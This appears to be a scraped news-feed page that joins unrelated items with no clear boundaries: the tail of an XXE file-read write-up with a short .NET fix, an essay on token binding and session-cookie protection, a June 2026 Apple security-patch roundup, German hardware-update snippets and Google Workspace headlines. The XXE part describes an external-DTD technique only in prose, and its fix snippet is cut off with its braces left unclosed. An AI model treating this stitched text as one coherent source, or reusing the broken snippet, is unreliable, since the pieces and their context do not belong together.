I tried to push further. The natural next target was the application’s configuration file, `web.config` in ASP.NET, which would contain database credentials and API keys in plaintext. But `web.config` is itself an XML file. When its content lands inside the cell value tag, the XML parser sees `<connectionStrings>` and `<appSettings>` as XML markup rather than cell content, and throws a parse error. The file doesn’t come through.

There’s a workaround for this: the external DTD with CDATA wrapping technique. But that requires the server to make an outbound HTTP request to a server you control, to fetch the DTD. The load balancer blocked all outbound connections from the backend. Not one callback received. That path was closed. Three hundred guesses at the physical deployment path, across different drives, different naming conventions, different enterprise folder structures. None of them landed. Without the physical path, you can’t target application-specific files.

The vulnerability stayed where it was. An unauthenticated, reliable, in-band arbitrary file read. High (8.6) severity accepted.

The Fix

The root cause is a single configuration decision that was never made. In .NET, XML parsers have external entity resolution enabled by default. The developer who wrote the XLSX processing code used the library without reading the security section of the documentation, and the insecure default was never changed. The fix is two lines :

var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null

Or more completely: replace the custom XML parsing with a hardened XLSX library like EPPlus or ClosedXML that disables external entity resolution by design. Add authentication to the upload endpoint. Done.

That’s what this work is, at the end of it. Not a conquest. A conversation between a researcher and a system, mediated by a file format that turned out to have more to say than anyone expected.

The file answered back. The system is safer. The story continues

The File That Answered Back — XXE Hidden in Cell A2 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

In recent years we’ve seen infostealer malware (like LummaC2) gain the ability to exfiltrate user tokens, allowing attackers to gain access to the user’s data without needing to retain access to the user’s machine. This attack is viable even if the site has strong MFA requirements, so passkeys don’t help. Encrypting the tokens on disk doesn’t prevent the malware from scraping them out of the browser’s RAM or obtaining whatever key is used to encrypt them. This feels like a pretty hard problem to solve.

But that hasn’t stopped people from trying! Dirk Balfanz wrote an IETF draft describing a mechanism for using self-signed certificates for TLS authentication. This uses the mutual authentication feature of the TLS protocol that requires both sides prove their identity to each other. In regular TLS, the remote site presents a signed certificate that tells you who it is. When performing mutual authentication, you then present a certificate to the remote site telling it who you are. These client certificates are largely unused outside enterprise environments because they’re a huge pain to deploy. It’s not so much that this has sharp edges, it’s that it’s entirely made of sharp edges. Managing certificate deployment to your devices is hard. Browsers get confused if the certificates change under them. You have one certificate and it lives forever, so sites you present it to can track your identity. Users are prompted to choose a certificate to authenticate with, and if they pick the wrong one everything breaks and is hard to recover. I’ve deployed this and I did not have a good time.

But Balfanz’s idea was simple. Rather than require certificates to be deployed, browsers would simply generate a certificate on the fly. The goal wasn’t to prove the device or user’s identity in any global way - but it would associate a TLS session with a specific certificate. You could then, for example, include a hash of the certificate in the cookie, and if someone tried to use that cookie without presenting that certificate then the cookie could be rejected. If the browser used a hardware-backed private key for the certificate then it would be impossible for an attacker to steal it. Sure, you could still steal cookies, but you wouldn’t be able to use them.

This was written almost 15 years ago, and seems simple, elegant, and functional. It didn’t happen. Part of the reason for that is that, well, it wasn’t quite so simple. One problem was privacy related. Cookies are only sent after the TLS session is established, so anyone monitoring the network doesn’t know anything about the user identity. A naive implementation of this approach would have meant the client certificate being sent before session establishment, and now user identity can be tracked (no longer an issue if this was implemented on top of TLS 1.3, but this was a log time ago). This was avoided by reordering the client handshake, but that meant having to modify the TLS specification and implementations would have to be updated to support this. Another was that figuring out the granularity of the certificates was difficult. You’d want to use different certificates for every site to avoid them effectively becoming tracking cookies, but you need to provide the certificate before cookies are set, and you don’t know what origin the site is going to set in its cookies. If you generate a certificate for a.example.com and a different one for b.example.com, and a.example.com sets a cookie for *.example.com and includes the certificate you used for a.example.com, that cookie isn’t going to work on b.example.com and things are broken. This meant supporting it wasn’t as straightforward as it seemed - you’d need to ensure that your cookie scope was compatible with the certificate scope. You could probably make this work well enough by aligning it with the Public Suffix List, but there was still some risk of expectations not being aligned.

And, perhaps most importantly, TLS session resumption (replaced by pre-shared keys in TLS 1.3) somewhat defeats the purpose of the exercise - clients store state that allows them to re-establish a TLS connection without performing certificate exchange (this reduces overhead if a connection gets interrupted or you switch to a new network or anything along those lines), and anyone in a position to steal cookies could steal that state as well.

The followup attempt was channel IDs. This simplified the implementation somewhat - rather than certificates, a raw public key would be sent, along with proof of possession of the private key in the form of a signature over a portion of the TLS handshake. This was required even in the event of session resumption, which avoided having to worry about theft of session secrets. The timing of the exchange was after the encrypted session had been established, so user identity couldn’t be leaked that way either. Cookies could then be bound to this identifier. Unfortunately it didn’t really deal with the problem of scoping keys in a way that would match cookie requirements, and the spec suggests that the right way of handling this is to scope keys to TLDs, which would enable user tracking across sites (Chrome’s implementation apparently restricted it to eTLD+1, which would match the third party cookie policy and avoid the tracking risk).

Chrome added support for this, but it was removed in early 2018. The discussion of some of the pain points in that message is interesting, explicitly calling out problems with connection coalescing across domains and the incompatibility with zero-RTT TLS1.3. The overall consensus at the time seems to be that trying to solve this entirely at the TLS layer has too many rough edges, and a different approach should be taken.

And so almost 7 years after the initial draft for origin bound certificates, we come to token binding. This ended up being a rather more complex endeavour, covering 3 different RFCs describing how it impacts TLS, how to incorporate it into HTTP, and how to manage all the various parties involved in the process. The short version is that it’s pretty similar to channel ID, except that there’s also a documented mechanism for allowing tokens to be bound to one party and consumed by another, avoiding any need for widely scoped keys. Token binding effectively solved all the issues in the original proposal, but at the cost of somewhat more complexity.

The RFC was finalised in October 2018. Chrome removed its (incomplete, draft) support for token binding in November 2018. Edge carried support until late 2024. Despite getting all the way through the RFC process, it’s functionally dead.

The process up until this point had been largely initiated by Google, with Microsoft contributing significantly to the token binding standards. The work had been focused on identifying a generic solution to the problem rather than tying it to any specific authentication flow. The next step was in a different direction - rather than trying to fix this for the entire internet, how about we try to fix it for OAuth?

RFC 8705 is titled “OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens”. This is basically the 2011 approach, but (a) with an explicit definition of how the certificate should be incorporated into issued auth cookies, and (b) with a proviso that well uh if you’re going to use tokens issued by your IdP to authenticate to someone else then well you’re going to need to use the same cert for both. This is probably fine for the company-owned-laptop case where you’re actually fine with multiple sites being able to tie identities together (that’s kind of the point here!), and also works for “I am using an app and not a browser”, but doesn’t work for more generic scenarios. It also doesn’t seem to take the session resumption case into account at all? Support for RFC8705 seems poor, as far as I can tell of the big players only Auth0 implements it. In theory it works fine with self-signed client certs but in reality that’s going to be almost as difficult to support across multiple platforms as just issuing proper client certs in the first place, so deployment is going to be kind of a pain. But the good news is it doesn’t rely on any TLS extensions or custom browser behaviour, so at the client side it works fine with any browser.

Which brings us on to RFC 9449, “Demonstrating Proof of Possession”. This goes even further than RFC8705 in terms of reducing the burden of deployment - it works fine with existing browsers, and it doesn’t even require any certs. The client generates a keypair and provides the pubkey when requesting the cookie. The cookie contains the pubkey. Every request to the service now provides the cookie with the pubkey and also provides a signature over the URI and HTTP method. If the signature matches the pubkey in the token then clearly the signature came from the machine the token was issued to, and everything is good.

This does come with some downsides, though. The first is that it uses browser interfaces to generate the keys (typically crypto.subtle.generatekey()) and as far as I can tell there are no browsers that guarantee that that key is going to be generated in hardware even if it’s marked non-exportable, so anyone able to steal the cookies can also steal the keys. The second is that the signature only covers the URI and HTTP method, and not the message content or any other headers, so anyone able to exfiltrate a valid signature can replay it against the same URI with different message content. The recommended way to handle this is to reject any signatures that weren’t generated within the last few seconds, which is a wonderful additional way to allow clock skew to give you a Bad Day. And the third is that every single request has to be separately signed, which is not intrinsically a problem because computers are fast and have multiple cores, but if you’re trying to solve the first problem by sticking the key in a TPM then you’re dealing with something that’s slow and single threaded and that’s maybe acceptable if you’re using client certificates (because there’s going to be one signature per session and you can use the same session for multiple requests) but probably not if you’re dealing with a user opening a browser that restores previous tabs and each of those is a webapp that fires off 100 requests in parallel.

In case it wasn’t clear, I don’t like DPoP. It doesn’t feel like it actually solves the underlying problem that we see in the real world (malware running in a context where if it can grab the tokens it can grab the keys), it adds a massive amount of overhead, and it has baked in replay vulnerabilities. I don’t know why it exists and I’m incredibly suspicious of vendors telling me that it fixes my problems, because if they’re telling me that then I’m going to end up assuming that they either don’t understand my problems or they don’t understand their technology, and neither of those is good.

Still. Then we get to the thing that prompted me to write this - Chrome’s announcement that they had launched device-bound session credentials. This is interesting because it’s a Chrome feature that’s explicitly intended to counter on-device malware, which was one of the things that was out of scope in 2018 when token binding was being removed. Since this is entire web level it doesn’t have to be an RFC, and so is instead defined by W3C. I’m going to handwave all the complexity and say that it’s basically a way to register a public key when a cookie is issued, and then prove possession of the private key when it’s time to renew the cookie. By making the cookies shortlived and having support for rotating them in the background, user impact is basically zero and while it’s still possible for an attacker to exfiltrate and use a cookie they’ll only be able to do so for a short window before it needs to be refreshed - something the attacker can’t do, since they don’t have the private key. This avoids the DPoP overhead because you only need to do signing once per cookie per cookie lifetime, and not on every single request. I don’t like this due to the window where exfiltrated tokens can be used, but it feels like a strict improvement over the status quo. An extension called device-bound session credentials for enterprise allows pre-enrollment of device keys, so even though the actual runtime DBCE flow doesn’t involve certificates, certificates can be used for device registration in enterprise environments and you can make sure that auth cookies only go to trusted devices. Unfortunately this is Chrome-only, and so we’re going to need to wait for it to be backported to all the random app frameworks for it to have widespread support on mobile or for almost everyone’s desktop app that’s actually three websites in an Electron wrapper. Mozilla’s current position is that they’re not in favour of it, so I guess we’ll see where Safari lands in terms of broad uptake.

The last thing on my list is another client cert/OAuth binding, this one still in draft state at the time of writing. This one is aimed primarily at the use of agent-driven tooling, where you have something running in the background using a whole bunch of tools that are each acting on your behalf. Authenticating to all of them separately isn’t a fun time, but giving broadly scoped access tokens to a non-deterministic agent and trusting that it’ll never post them somewhere public also isn’t a fun time. The key distinction between it and RFC8705 is that it’s aimed at connections rather than sessions, which avoids the worries about session resumption. This is done with TLS Exporters, which in TLS 1.3 should be unique to the connection even over session resumption (TLS 1.2 may reuse some of the same key material for exporters over session resumption, so it’s recommended to enforce 1.3 for this). By providing a new signature alongside the cookie on every new connection, the client proves that it still has access to the private key. This is a very new spec and I haven’t had much time to work through it yet, but my naive understanding is that unlike RFC8705 this would require some additional client support to be able to regenerate the client signature on every TLS reconnection.

This doesn’t avoid all the problems that RFC8705 has, including how to scope certificates. For the agentic use case that probably doesn’t matter - all these tools are acting on behalf of the same user, it’s fine if all the sites involved know they’re the same user. But it doesn’t solve the general purpose user use case, and right now DBSC seems like the best we have there.

But. Part of me still wonders whether Dirk Balfanz’s approach was the right one. Yes, there’s risk associated with TLS session resumption, but in the worst case you could just switch that off for high risk setups. The cookie scope argument is real, and also in cases where it could violate privacy the site owner could already choose to broaden their cookie scope and violate your privacy, and in cases where it breaks things you could just not make use of it. The other problems are largely fixed by TLS 1.3, and then we’re just left with “Browsers handle client certificates badly” to which my answer is “Yes, and we should fix that anyway”.

Despite having a pretty good answer to this solution over a decade ago, the closest we have to actual deployment is something that offers strictly worse security guarantees. And tokens keep getting stolen, and compromises keep occurring, and for the most part people shrug and get on with things.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

-    CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

-    CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

-    CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

The post Apple Patches Dozens of Vulnerabilities Across iOS, macOS, and Safari appeared first on SecurityWeek.

Read more →

The post Apple Patches Dozens of Vulnerabilities Across iOS, macOS, and Safari appeared first on IT Security News.

Read more of this story at Slashdot.

Dieser Beitrag Apple schließt mit iOS 26.5.2 und iPadOS 26.5.2 über 30 Sicherheitslücken erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Dieser Beitrag Apple schiebt iOS-, macOS- und Safari-Updates nach: KI offenbar beschleunigt WebKit-CVEs erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post Update time: Apple releases security patches for iOS, MacOS Tahoe, Safari appeared first on IT Security News.

Read more →

The post Apple Fixes WebKit Flaws in iOS and macOS, With Help From AI Tools appeared first on IT Security News.

Bei den Modellen des Surface Laptop, die mit einem Snapdragon-Prozessor ausgestattet sind, kann es durch Windows-Updates zu einem Verlust der Funktionalität von Windows Hello kommen. Nach dem Update ist die PIN nicht mehr verfügbar, wodurch auch die anderen Optionen von Windows Hello deaktiviert werden. Dieses Problem behebt Microsoft mit einem Firmware-Update für die betroffenen Modelle. […]

Der Beitrag Surface Laptop 8 (Intel) und weitere Surface-Modelle erhalten Firmware-Updates erschien zuerst auf Dr. Windows.

AMD hat den Adrenalin-Treiber 26.6.4 zum Download bereitgestellt. Es werden Spielabstürze behoben, die zuvor bei Verwendung von FSR 4.1 unter Radeon-RX-7000-GPUs (Test) auftraten. Allerdings bestehen weiterhin gleich mehrere Probleme mit dem Multiplayer-Shooter Battlefield 6.

Read more →

The post June 2026 Apple Updates, (Tue, Jun 30th) appeared first on IT Security News.

Read more →

The post Apple Patches 30+ iOS, macOS, Safari Flaws, Including AI-Discovered WebKit Bugs appeared first on IT Security News.

The post MacOS Tahoe 26.5.2 Update Released with Security Patches appeared first on OS X Daily.

Enhanced security monitoring with expanded Admin password reset alerts

Join Google Meet calls from Safari on iOS devices

Google Apps Script is now a Google Workspace core service with enterprise-grade data protection

Connect to Google Meet hardware with room codes now in Early Preview

Updates to Gemini in Google Classroom

Stricter classifications for Google Groups to enhance data security and privacy

Read Along in Google Classroom is now available to all education users to support foundational literacy

Streamline your data backups with incremental exports for Google Workspace

Falls Sie eine Grafikkarte von AMD besitzen, können Sie sich darüber freuen, dass nun neue Treiber für Windows 10 und Windows 11 zum Herunterladen bereitstehen.

Das Update trägt die Bezeichnung „AMD 26.6.3 Hotfix“ und behebt unter anderem ein Problem, das die Radeon RX 7000-Serie und neuere Modelle betrifft. Seit Ende Mai kam es hier zu einem Problem, bei dem aktuelle Treiber fälschlicherweise mit älteren Versionen ersetzt wurden, wie Windowslatest berichtet.

Nutzer erhielten daraufhin eine Warnmeldung, da im Grunde zwei Versionen der AMD-Software parallel auf dem System installiert wurden. Das sorgte für Kompatibilitätsprobleme, größere Ausfälle wurden aber nicht bekannt.

Wenn Sie die neuen Treiber herunterladen möchten, können Sie dies über die Support-Seiten von AMD tun. Dort erhalten Sie die Adrenalin Edition 26.6.3 Hotfix Preview für Windows 10 und Windows 11.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post How to Change Your Default Browser on Mac in 2026 appeared first on iTech Hacks.